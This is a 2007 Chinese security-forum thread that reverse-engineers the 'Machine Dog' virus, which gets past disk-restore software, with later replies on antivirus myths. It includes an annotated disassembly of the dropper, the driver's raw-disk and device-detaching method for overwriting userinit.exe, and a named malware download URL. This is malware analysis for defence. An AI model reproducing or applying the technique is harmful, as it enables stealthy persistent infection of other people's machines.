首页
社区
课程
招聘
[原创]轰动电脑安全界的精品核心技术研究!
发表于: 2007-11-19 14:30 22139

[原创]轰动电脑安全界的精品核心技术研究!

2007-11-19 14:30
22139
收藏
免费 0
支持
分享
最新回复 (41)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
26
还看不懂你说的。。。学习中。。。。。。
2007-11-26 22:42
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
27
穿透还原的工作原理分析(逆向工程)

样本脱壳
OD加载样本explorer.exe,
对GetModuleHandleA下断,参数为NULL时即为入口点处对此函数的调用,
退出CALL之后可以得到入口为 004016ED。
重新加载样本,对004016ED下内存写入断点,中断后StepOver一步,然后在004016ED
下断点,F9运行到入口,DUMP。DUMP之后不关闭OD,让样本处于挂起状态,使用ImportREC修复DUMP
出来的文件的导入表。
修复之后DUMP出来的文件用OD加载出错,使用PEDITOR的rebuilder功能重建PE之后即可用OD加载,说明
脱壳基本成功,但资源部分仍有问题,无法用Reshacker查看

pcihdd.sys的提取
OD加载样本explorer.exe,设置有新模块加载时中断,F9运行
当ADVAPI32.DLL加载时,对CreateServiceA下断点,F9运行
当CreateServiceA中断时,即可提取出pcihdd.sys

pcihdd.sys基本流程如下
1)检查IDT的09(NPX Segment Overrun)和0E(Page Fault )处理程序的地址
如果09号中断处理程序存在,并且处理程序地址的高8位与0E处理程序高8位不同,则把
IDT中0E的高16位设为0。估计是检查0E是不是被HOOK了
我比较龌龊,看不懂这些操作的意思,这样不BSOD?请懂的兄弟跟帖告诉一声
2)通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
3)创建了\Device\PhysicalHardDisk0及其符号连接\DosDevices\PhysicalHardDisk0
4)只对IRP_MJ_CREATE
          IRP_MJ_CLOSE
          IRP_MJ_DEVICE_CONTROL
      作出响应
  
      其中IRP_MJ_CREATE中会断开\Device\Harddisk0\DR0上附加的设备。这个操作会使磁盘过滤驱动、文件系统驱动(OS提供的,
      但一些杀毒软件也通过此渠道进行文件系统监控)及其上的文件系统过滤驱动(大多数文件访问控制和监控 都是这个层次的)无效(参见http://blog.csdn.net/joshua_yu/archive/2006/02/04/591636.aspx)

      在IRP_MJ_CLOSE 中对恢复DR0上的附加 在IRP_MJ_DEVICE_CONTROL中对0xF0003C04作出响应,只是把2)中找到的资源数据解密后返回到应用程序。
解密密钥是通过应用程序传入的一个串(密钥种子?)查表后产生(KEY:0x3f702d98)

0xF0003C04的作用:
          将用户态传入的整个代码体作为密钥种子对这个代码体进行类似于校验和的运算后得到4字节的解密KEY,然后使用此解密key将驱动自身携带的资源解密(仅仅是XOR),将解密结果返回给用户态。

关于解除DR0上的附加设备:
      这种操作应该会影响系统正常的文件系统操作,但是因为实际操作时此驱动被打开和关闭的的间隔很短,所以应该
      不会有明显影响。

explorer.exe流程
1、释放资源中的pcihdd.sys并创建名为pcihdd的服务,启动服务
2、定位userinit.exe在硬盘中的位置。定位方法如下
      1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布信息

      2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和
      第一个分区的引导扇区得到分区参数(每簇扇区数),配合1)中得到的信息
      来定位文件在硬盘上的绝对偏移量。
      这里有个小BUG,扇区大小是使用固定的512字节而不是从引导扇区中获取

      3)通过对比ReadFile读取的文件数据和自己定位后直接
      读取所得到的文件数据,确定定位是否正确
3、把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04,并将pcihdd返回
      的数据直接写入userinit.exe的第一簇

被修改后的userinit.exe
1)查询SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下的Shell键值
2)创建Shell进程
3)等待网络链接,当网络链接畅通后,则从http://yu.8s7.net/cert.cer下载列表
4)对于列表中的文件每个文件,创建一个新线程下载并执行,线程计数加一(INC)
5)等待所有线程结束后(线程计数为0)结束进程。
  
      对于线程计数的操作并不是原子操作,理论上多CPU情况下有小的概率出问题。
      不过人家是写针对普通PC的病毒,多CPU不常见,也不需要稳定

simple.rar
==============================================

其实担心被电子狗咬到可以把FAT格式的分区转为NTFS的,这样最起码在文件检索上面不是很容易得手,
当然2000平台上会将userinit彻底破坏,XP一般没有问题,搞不懂什么原因,
中了电子狗的患者可以将userinit删除(之后千万不可以重启计算机),然后从系统dllcache中恢复系统原
有的userinit(其实这个是SFC自动的,但是有可能系统SFC功能被关闭了),建议不要使用gho版的系统,
多数gho版的系统是没有dllcache目录的,尤其是一些精简版系统。
by wht0395@DebugMan
网吧做无盘的读写分离 病毒就无法穿透
2007-11-28 13:42
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
28
机器狗原理:
建立磁盘底层驱动。
1.校验IDT的NPXSegment Overrun(09)和Page Fault(OE)的矢量地址,如果存在,则把高16位设置为0,这个过程和还原软件的原理是一样的,就是对OE的HOOK检验。
2.给自己找个位置,查找驱动资源中的1000/1000,然后COPY到ALLOVER缓冲区中。
3.建立物理磁盘PhysicalHardDISK0的\Device----DosDevices的底层借口,针对“IRP_MJ_CREATE”“IRP_MJ_CLOSE”“IRP_MJ_DEVICE_CONTROL”响应。“IRP_MJ_CREATE”断开\Device\Harddisk0\DR0-1上的附属部件。从而使磁盘OS层提供的应用层文件系统鉴听校验失效。
然后通过“I_M_C ”中恢复DR0-1上的附加。并在I_M_D_C中对0x0004f8E——0xF0003C0F作出响应,把ALLOVER缓冲区中找到的数据解密并返回应用层。通过KEY-s查表产生密钥。0x0004f8E——0xF0003C0F字段会将用户态代码作为源基,对其运算后得到字串KEY,用来对源驱动解密后,反还给用户层。
在这个过程中,有个大家比较熟悉的截面,就是系统由于磁盘底层驱动校验不成功而出现的蓝屏截面,最常见的是初始值0x0004f8E,比如,早期的SATAⅠ在保护卡状态下出现物理坏道(0%—1%),就是这个蓝屏代码。很多由于用户态的软件安装不当,引起的蓝屏也出现在这一区段中。在解除DR0-1上的附属部件时,出现逻辑性错误就导致大家常见的中机器狗后的蓝屏。多见于多处理器平台。一般的PC是不会出现这个错误的,也就是说,大多数中招后都能正常使用,就是木马多多,呵呵。
继续正题,以上过程反映到IE上是这样的:1.释放底层驱动程序(比如变种前的PCIHDD.SYS)或者高位数用户态临时驱动(变种后,可以有可执行程序引导,如“Usrinit.exe”)
2.定位WINDOWS系统中的userinit.exe。(通过MBR和第一引导扇区参数来定位文件磁盘矢量偏移。)
3.并校验RF文件与地位后读取的数据位置的正确性。
4.将获取的代码参数返回给底层驱动,控制0x0004f8E——0xF0003C0F段为,最后将返回值(TQ)直接写入userinit.exe数据所在的第一蔟。这里要大家特别注意以下,通过用户态的shell调用,作者只需一点变动,就可以随即抓取用户态引导文件,所以,目前的该名设权限都是没用的。
甚至,他可以把这个过程省略,象净网先锋那样,把Shell进程写入动态连接库。那么,还原就没用了。还会带来网络负载问题,可能是作者比较仁慈吧。
好了,分析了以上的过程,解决的办法就出来了,就是要通过对操作系统的内核编译,将他所定位的目的地址占据,这样,除非是格式化,否则,任何操作的不会在底层夺取该位置。(不要问权限问题,在底层是没有这个说法的,先入为主。)
2007-11-28 13:42
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
29
烦死了,我在的网吧每天中几台。。。
2007-11-29 10:01
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
30
真正的穿冰点病毒样本,我就一直在分析这个病毒,病毒的EXE部分大部分弄懂了,只差pcihdd.sys驱动还没有完全调试完,并且我已经自己写出了程序利用pcihdd.sys穿透了冰点,下面帖一下病毒EXE的分析过程,好让大家了解了解这个“神秘”的病毒~~呵呵~~

病毒样本在网盟下的,
《真正穿透冰点病毒的样本》文件名为explorer.exe,图标为一只机器狗,如下:
此主题相关图片如下:

程序加了壳,我也懒得脱壳了,真正的入口点在004016ED,用OD在此处下执行断点,断下来后代码如下:

004016ED  push    0                         ; 这里是真正的入口点
004016EF  call    00401774                  ; jmp 到 kernel32.GetModuleHandleA
004016F4  mov     dword ptr [4030F0], eax
004016F9  call    004010C9                  ; 这里负责释放pcihdd.sys然后加载它
004016FE  push    100
00401703  push    004030F4
00401708  push    0040132B                  ; ASCII "%SystemRoot%\System32\Userinit.exe"
0040170D  call    00401762                  ; jmp 到 kernel32.ExpandEnvironmentStringsA
00401712  push    004030F4
00401717  call    0040134E                  ; 这里是重点了
0040171C  or      eax, eax
0040171E  jnz     short 0040172C
00401720  push    004030E7
00401725  call    00401792                  ; jmp 到 kernel32.OutputDebugStringA
0040172A  jmp     short 00401732
0040172C  push    eax
0040172D  call    00401792                  ; jmp 到 kernel32.OutputDebugStringA
00401732  call    00401030                  ; 这里卸载pcihdd.sys然后删除
00401737  push    0
00401739  call    0040175C                  ; 退出
004010C9处释放pcihdd.sys然后加载它,代码如下:

004010C9  push    ebp
004010CA  mov     ebp, esp
004010CC  add     esp, -138
004010D2  push    3E9
004010D7  push    3E9
004010DC  push    dword ptr [4030F0]        ; 查找自身里的pcihdd.sys资源
004010E2  call    00401768                  ; jmp 到 kernel32.FindResourceA
004010E7  or      eax, eax
004010E9  je      short 00401128
004010EB  mov     dword ptr [ebp-10C], eax
004010F1  push    eax
004010F2  push    dword ptr [4030F0]        ; explorer.00400000
004010F8  call    004017B0                  ; jmp 到 kernel32.SizeofResource
004010FD  mov     dword ptr [ebp-114], eax
00401103  push    dword ptr [ebp-10C]
00401109  push    dword ptr [4030F0]        ; explorer.00400000
0040110F  call    00401786                  ; jmp 到 kernel32.LoadResource
00401114  or      eax, eax
00401116  je      short 00401128
00401118  push    eax
00401119  call    0040178C                  ; jmp 到 kernel32.SetHandleCount
0040111E  or      eax, eax
00401120  je      short 00401128
00401122  mov     dword ptr [ebp-110], eax
00401128  or      eax, eax
0040112A  jnz     short 00401131
0040112C  jmp     00401314
00401131  push    100
00401136  lea     eax, dword ptr [ebp-108]
0040113C  push    eax
0040113D  push    00401000                  ; ASCII "%SystemRoot%\system32\drivers\pcihdd.sys"
00401142  call    00401762                  ; jmp 到 kernel32.ExpandEnvironmentStringsA
00401147  push    0
00401149  push    80
0040114E  push    4
00401150  push    0
00401152  push    0
00401154  push    40000000
00401159  lea     eax, dword ptr [ebp-108]
0040115F  push    eax
00401160  call    0040174A                  ; jmp 到 kernel32.CreateFileA创建pcihdd.sys
00401165  cmp     eax, -1
00401168  jnz     short 00401171
0040116A  jmp     00401314
0040116F  jmp     short 004011A6
00401171  mov     dword ptr [ebp-8], eax
00401174  push    0
00401176  lea     eax, dword ptr [ebp-4]
00401179  push    eax
0040117A  push    dword ptr [ebp-114]
00401180  push    dword ptr [ebp-110]
00401186  push    dword ptr [ebp-8]
00401189  call    004017B6                  ; jmp 到 kernel32.WriteFile写入
0040118E  push    dword ptr [ebp-8]
00401191  call    004017A4                  ; jmp 到 kernel32.SetEndOfFile
00401196  push    dword ptr [ebp-8]
00401199  call    0040176E                  ; jmp 到 kernel32.FlushFileBuffers刷新
0040119E  push    dword ptr [ebp-8]
004011A1  call    00401744                  ; jmp 到 kernel32.CloseHandle
004011A6  push    0F003F
004011AB  push    0
004011AD  push    0                            ;打开SCM
004011AF  call    004017D4                  ; jmp 到 ADVAPI32.OpenSCManagerA
004011B4  or      eax, eax
004011B6  je      004012F0
004011BC  mov     dword ptr [ebp-118], eax
004011C2  push    0
004011C4  push    0
004011C6  push    0
004011C8  push    0
004011CA  push    0
004011CC  lea     eax, dword ptr [ebp-108]
004011D2  push    eax
004011D3  push    0
004011D5  push    3
004011D7  push    1
004011D9  push    0
004011DB  push    00401029                  ; ASCII "PciHdd"
004011E0  push    00401029                  ; ASCII "PciHdd"
004011E5  push    dword ptr [ebp-118]    ;创建PciHdd服务
004011EB  call    004017C8                  ; jmp 到 ADVAPI32.CreateServiceA
004011F0  or      eax, eax
004011F2  je      short 0040120A            ;如果创建失败,跳0040120A
004011F4  mov     dword ptr [ebp-11C], eax
004011FA  push    dword ptr [ebp-11C]
00401200  call    004017BC                  ; jmp 到 ADVAPI32.CloseServiceHandle
00401205  jmp     0040129A
0040120A  push    0F01FF             ;这里创建失败则先停止原来的PciHdd服务然后删除再重新创建
0040120F  push    00401029                  ; ASCII "PciHdd"
00401214  push    dword ptr [ebp-118]
0040121A  call    004017DA                  ; jmp 到 ADVAPI32.OpenServiceA
0040121F  or      eax, eax
00401221  je      short 00401253
00401223  mov     dword ptr [ebp-11C], eax
00401229  lea     eax, dword ptr [ebp-138]
0040122F  push    eax
00401230  push    1
00401232  push    dword ptr [ebp-11C]  ;停止原来的PciHdd服务
00401238  call    004017C2                  ; jmp 到 ADVAPI32.ControlService
0040123D  push    dword ptr [ebp-11C]  ;删除服务
00401243  call    004017CE                  ; jmp 到 ADVAPI32.DeleteService
00401248  push    dword ptr [ebp-11C]
0040124E  call    004017BC                  ; jmp 到 ADVAPI32.CloseServiceHandle
00401253  push    0
00401255  push    0
00401257  push    0
00401259  push    0
0040125B  push    0
0040125D  lea     eax, dword ptr [ebp-108]
00401263  push    eax
00401264  push    0
00401266  push    3
00401268  push    1
0040126A  push    0
0040126C  push    00401029                  ; ASCII "PciHdd"
00401271  push    00401029                  ; ASCII "PciHdd"
00401276  push    dword ptr [ebp-118]   ;重新创建
0040127C  call    004017C8                  ; jmp 到 ADVAPI32.CreateServiceA
00401281  or      eax, eax
00401283  je      short 00401298
00401285  mov     dword ptr [ebp-11C], eax
0040128B  push    dword ptr [ebp-11C]
00401291  call    004017BC                  ; jmp 到 ADVAPI32.CloseServiceHandle
00401296  jmp     short 0040129A
00401298  jmp     short 00401314
0040129A  push    10
0040129C  push    00401029                  ; ASCII "PciHdd"
004012A1  push    dword ptr [ebp-118]
004012A7  call    004017DA                  ; jmp 到 ADVAPI32.OpenServiceA
004012AC  or      eax, eax
004012AE  je      short 004012E3
004012B0  mov     dword ptr [ebp-11C], eax
004012B6  push    0
004012B8  push    0
004012BA  push    dword ptr [ebp-11C]  ;启动服务
004012C0  call    004017E0                  ; jmp 到 ADVAPI32.StartServiceA
004012C5  or      eax, eax
004012C7  jnz     short 004012CB
004012C9  jmp     short 00401314
004012CB  push    dword ptr [ebp-11C]
004012D1  call    004017BC                  ; jmp 到 ADVAPI32.CloseServiceHandle
004012D6  push    dword ptr [ebp-118]
004012DC  call    004017BC                  ; jmp 到 ADVAPI32.CloseServiceHandle
004012E1  jmp     short 004012F0
004012E3  push    dword ptr [ebp-118]
004012E9  call    004017BC                  ; jmp 到 ADVAPI32.CloseServiceHandle
004012EE  jmp     short 00401314
004012F0  push    100
004012F5  lea     eax, dword ptr [ebp-108]
004012FB  push    eax
004012FC  push    00401000                  ; ASCII "%SystemRoot%\system32\drivers\pcihdd.sys"
00401301  call    00401762                  ; jmp 到 kernel32.ExpandEnvironmentStringsA
00401306  lea     eax, dword ptr [ebp-108]
0040130C  push    eax                         ;删除pcihdd.sys文件
0040130D  call    00401750                  ; jmp 到 kernel32.DeleteFileA
00401312  leave
00401313  retn         ;返回了
下面是0040134E处是重点了~~如下:

0040134E  push    ebp
0040134F  mov     ebp, esp
00401351  add     esp, -554
00401357  pushad
00401358  push    0
0040135A  push    0
0040135C  push    3
0040135E  push    0
00401360  push    0
00401362  push    80000000                  ;打开设备,\\.\PhysicalHardDisk0是pcihdd.sys创建的符号链接
00401367  push    0040302E                  ; ASCII "\\.\PhysicalHardDisk0"
0040136C  call    0040174A                  ; jmp 到 kernel32.CreateFileA
00401371  cmp     eax, -1
00401374  je      004016DE
0040137A  mov     dword ptr [ebp-548], eax
00401380  push    0
00401382  push    20000000
00401387  push    3
00401389  push    0
0040138B  push    3
0040138D  push    80000000
00401392  push    dword ptr [ebp+8]      ;打开userinit.exe
00401395  call    0040174A                  ; jmp 到 kernel32.CreateFileA
0040139A  cmp     eax, -1
0040139D  je      004016CA
004013A3  mov     dword ptr [ebp-C], eax
004013A6  xor     eax, eax
004013A8  mov     dword ptr [ebp-14], eax
004013AB  mov     dword ptr [ebp-10], eax
004013AE  push    110
004013B3  lea     eax, dword ptr [ebp-12C]
004013B9  push    eax
004013BA  call    0040179E                  ; jmp 到 ntdll.RtlZeroMemory
004013BF  push    0
004013C1  lea     eax, dword ptr [ebp-18]
004013C4  push    eax
004013C5  push    110
004013CA  lea     eax, dword ptr [ebp-12C]
004013D0  push    eax
004013D1  push    8
004013D3  lea     eax, dword ptr [ebp-14]
004013D6  push    eax
004013D7  push    90073
004013DC  push    dword ptr [ebp-C]   ;发送FSCTL_GET_RETRIEVAL_POINTERS获取userinit.exe的文件分配图
004013DF  call    00401756                  ; jmp 到 kernel32.DeviceIoControl
004013E4  or      eax, eax
004013E6  je      004016B3
004013EC  lea     edi, dword ptr [ebp-12C]
004013F2  mov     ebx, dword ptr [edi]
004013F4  lea     edi, dword ptr [edi+10]
004013F7  mov     eax, dword ptr [ebp-18]
004013FA  or      ebx, ebx
004013FC  je      004016BA
00401402  mov     eax, dword ptr [edi+8]
00401405  mov     edx, dword ptr [edi+C]
00401408  cmp     eax, -1
0040140B  je      004016AA
00401411  cmp     edx, -1
00401414  je      004016AA
0040141A  mov     dword ptr [ebp-53C], eax
00401420  mov     dword ptr [ebp-538], edx
00401426  push    0
00401428  lea     eax, dword ptr [ebp-18]
0040142B  push    eax
0040142C  push    200
00401431  lea     eax, dword ptr [ebp-32C]
00401437  push    eax
00401438  push    dword ptr [ebp-C]       ;读取userinit.exe
0040143B  call    00401798                  ; jmp 到 kernel32.ReadFile
00401440  push    dword ptr [ebp-C]
00401443  call    00401744                  ; jmp 到 kernel32.CloseHandle
00401448  mov     dword ptr [ebp-C], 0
0040144F  push    0
00401451  push    0
00401453  push    3
00401455  push    0
00401457  push    3
00401459  push    C0000000                 ;打开物理硬盘
0040145E  push    00403044                    ; ASCII "\\.\PhysicalDrive0"
00401463  call    0040174A                    ; jmp 到 kernel32.CreateFileA
00401468  cmp     eax, -1
0040146B  je      004016B1
00401471  mov     dword ptr [ebp-530], eax
00401477  push    0
00401479  push    0
0040147B  push    0
0040147D  push    dword ptr [ebp-530]
00401483  call    004017AA                    ; jmp 到 kernel32.SetFilePointer
00401488  push    0
0040148A  lea     eax, dword ptr [ebp-18]
0040148D  push    eax
0040148E  push    200
00401493  lea     eax, dword ptr [ebp-52C]
00401499  push    eax
0040149A  push    dword ptr [ebp-530]     ;读取1扇区
004014A0  call    00401798                    ; jmp 到 kernel32.ReadFile
004014A5  lea     edi, dword ptr [ebp-52C]
004014AB  cmp     byte ptr [edi+1BE], 80       ;第一分区是否为可引导分区
004014B2  jnz     00401696
004014B8  movzx   ebx, byte ptr [edi+1C2]
004014BF  cmp     ebx, 0B                 ;文件系统是否为FAT32
004014C2  je      short 004014D2
004014C4  cmp     ebx, 0C                 ;文件系统是否为FAT32
004014C7  je      short 004014D2
004014C9  cmp     ebx, 7                  ;文件系统是否为NTFS
004014CC  jnz     0040168D
004014D2  mov     eax, dword ptr [edi+1C6]      ;C盘起始扇区
004014D8  mov     dword ptr [ebp-534], eax
004014DE  xor     edx, edx
004014E0  imul    eax, eax, 200
004014E6  mov     dword ptr [ebp-18], edx
004014E9  mov     ecx, eax
004014EB  push    0
004014ED  lea     eax, dword ptr [ebp-18]
004014F0  push    eax
004014F1  push    ecx
004014F2  push    dword ptr [ebp-530]      ;定位到C盘
004014F8  call    004017AA                    ; jmp 到 kernel32.SetFilePointer
004014FD  push    0
004014FF  lea     eax, dword ptr [ebp-18]
00401502  push    eax
00401503  push    200
00401508  lea     eax, dword ptr [ebp-52C]
0040150E  push    eax
0040150F  push    dword ptr [ebp-530]     ;读取C盘1扇区
00401515  call    00401798                    ; jmp 到 kernel32.ReadFile
0040151A  lea     edi, dword ptr [ebp-52C]
00401520  movzx   eax, word ptr [edi+E]
00401524  add     dword ptr [ebp-534], eax
0040152A  cmp     ebx, 0B             ;文件系统是否为FAT32
0040152D  je      short 00401534
0040152F  cmp     ebx, 0C             ;文件系统是否为FAT32
00401532  jnz     short 00401546
00401534  movzx   ecx, byte ptr [edi+10]
00401538  mov     eax, dword ptr [edi+24]
0040153B  xor     edx, edx
0040153D  imul    eax, ecx
00401540  add     dword ptr [ebp-534], eax
00401546  mov     eax, dword ptr [ebp-53C]
0040154C  mov     edx, dword ptr [ebp-538]
00401552  movzx   ecx, byte ptr [edi+D]
00401556  mov     dword ptr [ebp-54C], ecx
0040155C  imul    eax, ecx
0040155F  add     eax, dword ptr [ebp-534]
00401565  adc     edx, 0
00401568  imul    eax, eax, 200
0040156E  mov     dword ptr [ebp-540], edx
00401574  mov     dword ptr [ebp-544], eax
0040157A  push    0
0040157C  lea     eax, dword ptr [ebp-540]
00401582  push    eax
00401583  push    dword ptr [ebp-544]
00401589  push    dword ptr [ebp-530]        ;定位到userinit.exe
0040158F  call    004017AA                    ; jmp 到 kernel32.SetFilePointer
00401594  push    0
00401596  lea     eax, dword ptr [ebp-18]
00401599  push    eax
0040159A  push    200
0040159F  lea     eax, dword ptr [ebp-52C]
004015A5  push    eax
004015A6  push    dword ptr [ebp-530]      ;读取userinit.exe
004015AC  call    00401798                    ; jmp 到 kernel32.ReadFile
004015B1  lea     edi, dword ptr [ebp-52C]
004015B7  lea     esi, dword ptr [ebp-32C]
004015BD  mov     ecx, 200
004015C2  repe    cmps byte ptr es:[edi], byte ptr [esi] ;和之前读取的userinit.exe比较
004015C4  or      ecx, ecx
004015C6  jnz     00401684
004015CC  push    0
004015CE  lea     eax, dword ptr [ebp-540]
004015D4  push    eax
004015D5  push    dword ptr [ebp-544]
004015DB  push    dword ptr [ebp-530]     ;重新定位到userinit.exe
004015E1  call    004017AA                        ; jmp 到 kernel32.SetFilePointer
004015E6  mov     eax, dword ptr [ebp-54C]
004015EC  shl     eax, 9
004015EF  mov     dword ptr [ebp-54C], eax
004015F5  push    dword ptr [ebp-54C]
004015FB  push    40                               ;分配内存用于存放从pcihdd.sys返回的数据
004015FD  call    0040177A                        ; jmp 到 kernel32.GlobalAlloc
00401602  or      eax, eax
00401604  je      short 00401670
00401606  mov     dword ptr [ebp-550], eax  ;下面两条指令计算病毒自身代码的长度
0040160C  mov     ecx, 0040173E                   ; jmp 到 USER32.MessageBoxA
00401611  sub     ecx, 00401000                   ; ASCII "%SystemRoot%\system32\drivers\pcihdd.sys"
00401617  push    0
00401619  lea     eax, dword ptr [ebp-18]
0040161C  push    eax
0040161D  push    dword ptr [ebp-54C]
00401623  push    dword ptr [ebp-550]
00401629  push    ecx
0040162A  push    00401000                        ; ASCII "%SystemRoot%\system32\drivers\pcihdd.sys"
0040162F  push    F0003C04      ;这里是重点了,向pcihdd.sys发送IOCTL,输入数据为病毒自身的代码和大小,pcihdd.sys将返回数据用于修改userinit.exe
00401634  push    dword ptr [ebp-548]
0040163A  call    00401756                        ; jmp 到 kernel32.DeviceIoControl
0040163F  push    0
00401641  lea     eax, dword ptr [ebp-18]
00401644  push    eax
00401645  push    dword ptr [ebp-54C]
0040164B  push    dword ptr [ebp-550]
00401651  push    dword ptr [ebp-530]       ;将pcihdd.sys返回的数据写入userinit.exe
00401657  call    004017B6                        ; jmp 到 kernel32.WriteFile
0040165C  push    dword ptr [ebp-530]
00401662  call    0040176E                        ; jmp 到 kernel32.FlushFileBuffers
00401667  mov     dword ptr [ebp-1C], 0
0040166E  jmp     short 00401677
00401670  mov     dword ptr [ebp-1C], 00403057
00401677  push    dword ptr [ebp-550]
0040167D  call    00401780                        ; jmp 到 kernel32.GlobalFree 释放内存
00401682  jmp     short 0040169D                   ;下面就没什么重要的了
00401684  mov     dword ptr [ebp-1C], 00403066
0040168B  jmp     short 0040169D
0040168D  mov     dword ptr [ebp-1C], 00403075
00401694  jmp     short 0040169D
00401696  mov     dword ptr [ebp-1C], 00403086
0040169D  push    dword ptr [ebp-530]
004016A3  call    00401744                        ; jmp 到 kernel32.CloseHandle
004016A8  jmp     short 004016B1
004016AA  mov     dword ptr [ebp-1C], 0040309D
004016B1  jmp     short 004016BA
004016B3  mov     dword ptr [ebp-1C], 004030B8
004016BA  cmp     dword ptr [ebp-C], 0
004016BE  je      short 004016D1
004016C0  push    dword ptr [ebp-C]
004016C3  call    00401744                        ; jmp 到 kernel32.CloseHandle
004016C8  jmp     short 004016D1
004016CA  mov     dword ptr [ebp-1C], 004030CD
004016D1  push    dword ptr [ebp-548]
004016D7  call    00401744                        ; jmp 到 kernel32.CloseHandle
004016DC  jmp     short 004016E5
004016DE  mov     dword ptr [ebp-1C], 004030DA
004016E5  popad
004016E6  mov     eax, dword ptr [ebp-1C]
004016E9  leave
004016EA  retn    4     ;返回了
关键代码就这里了,后面还有一些卸载和删除驱动的代码,就不帖了,当然更加关键的代码在pcihdd.sys中,目前还没有调试完~~关于这个病毒的防御,还没有一种完美的方法,网盟上有不少临时的防御方法,不过都不怎么完美,一旦出变种一样玩完~~希望有其他高手尽快彻底的解决问题~~~
2007-12-1 00:08
0
雪    币: 339
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
31
楼上的机器狗有样本么?给发个过来
2007-12-1 09:52
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
32
是呀,没有铜墙铁壁,不能把什么东东都神话了,自己注意以下吧!
2007-12-1 10:11
0
雪    币: 200
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
33
国内的还原厂商就那么几家.

精通设备栈的搞驱动的就那30来个,都是有名有姓的,根据这个驱动的写法和习惯,我大致知道是谁.

只是不知道这次赚了多少银子?

关于微码更新和真正的破坏硬件(CPU,disk,主板)的病毒明年年初会出现.
2007-12-1 12:07
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
34
要编个代码做到破坏硬件简单的要死

关键是怎么像虚拟机那样可以彻底防病毒穿透还原软件才是硬道理
2007-12-1 17:38
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
35
想法真是不错哦!!
索性电脑都不用,在家看电视不是更好。比你那个还要来的彻底。
2007-12-1 18:11
0
雪    币: 215
活跃值: (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
36
台湾 的什么还原卡很不错。。。。。
2007-12-2 15:20
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
37
被夸大的熊猫烧香

懂点病毒知识的人都知道,熊猫也就是一个威金加个壳罢了,那个被抓的病毒作者其实根本没能力制造病毒,只会用工
具加壳....
但国产杀软大多比较孱弱,所以倒下一大片~~~~~
国外杀软小红伞根本就不会中,卡巴中了也能升级解决
只有国产杀软才大力炒作,借机会多卖几份。最好笑的是,居然升级杀不了,还得靠出专杀.....

总结:加壳的威金居然横行中国,可见国人安全意识的淡薄。

11 格式化能杀毒?
真这样的话,杀毒软件厂商全都垮掉了........
格式化的办法有些病毒这样能对付,但有些病毒这样是解决不了,因为它能往BIOS跑....
电脑里任何有储存功能的地方,都能容纳病毒,并非只有硬盘。
而且我们平时说的低格,其实是清零而已,真正的低格是需要送厂里去(所谓的物理低格),自己靠软件是不可能实现

真正的低格的。
所以说,自己搞个低格软件,格式化硬盘了,重新分区了,就以为自己机器没毒了,这个是不可能的~
老老实实的装杀软杀吧~

(编辑帖子补充一下,我个人至少遇到不下5次,需要放电cmos才解决问题的电脑,这是在电脑报上学的,但总 的来说,遇见格式硬盘都还解决不了的病毒,那实在是少之又少,不是每个病毒都会感染你的BIOS的,呵呵,所以新手们也别太紧张,这是很小的几率,尤其是现在的新电脑,BIOS保护越来越好,出现这个格盘都解决不了的情况,可能性很小了。但能存储数据的地方,就必然也能有病毒,这个是必然的,虽然几率越来越小)

总结:流传了10几年的谣言,估计还要继续流传下去

12 不装杀软和墙,裸奔
这是受高手误导了,很多卡饭高手是不装杀软和墙,这个我也知道(比如说我最崇拜的英俊潇洒玉树临风的罗大人,常
年华丽的裸战在网络第一线,哈~)
其实某些高手确实没装杀软和墙
但HIPS,沙盘,虚拟机,各种像冰刃的辅助工具....一大堆~
你能和他们比么???????
所以你要是觉得自己不是高手,我劝你老老实实的装杀软和墙,最好把HIPS也装了~
有人说:我裸奔1年了,没事啊
那么我们也不是天天感冒,我们家里为什么要准备感冒药呢?
商场也不是天天着火,为什么要准备灭火器呢?

总结:今天你肉机了没有?

最后总结:
1  大家多试用几个杀软,很多问题就明白了,每个杀软用几个月,然后下点病毒包来自己测试。每用一个杀软,都截个
资源占用的图,到时候一比较,资源占用情况也出来(SSM里面看资源占用很方便~)
死抱着一个杀软是很不明智的,当一个杀软的激进派粉丝,也不太理智,消费者嘛,用不着那样,咱谁的东西好就用谁
的。
2   千万不要相信某种组合就是无敌,某款杀软就是万能,没有无敌和万能。
以后大家发贴也别用什么 最强,世界第一等等。甚至有些杀软,居然敢在广告中自称守护神,太夸张了,使用杀软,评
价杀软,都需要理性,动不动说什么什么最强,无敌,甚至称神,这理智么?
3   卡饭真的很多高手,但他们一般潜水,我希望高手们都多浮出水面,讲讲安全知识..........
4   我说完了,大家看得辛苦了,开始华丽的灌水吧~哈~
2007-12-2 22:52
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
38
首先说一下影子系统属于反病毒技术中的沙盘仿真(虚拟机的继承人)
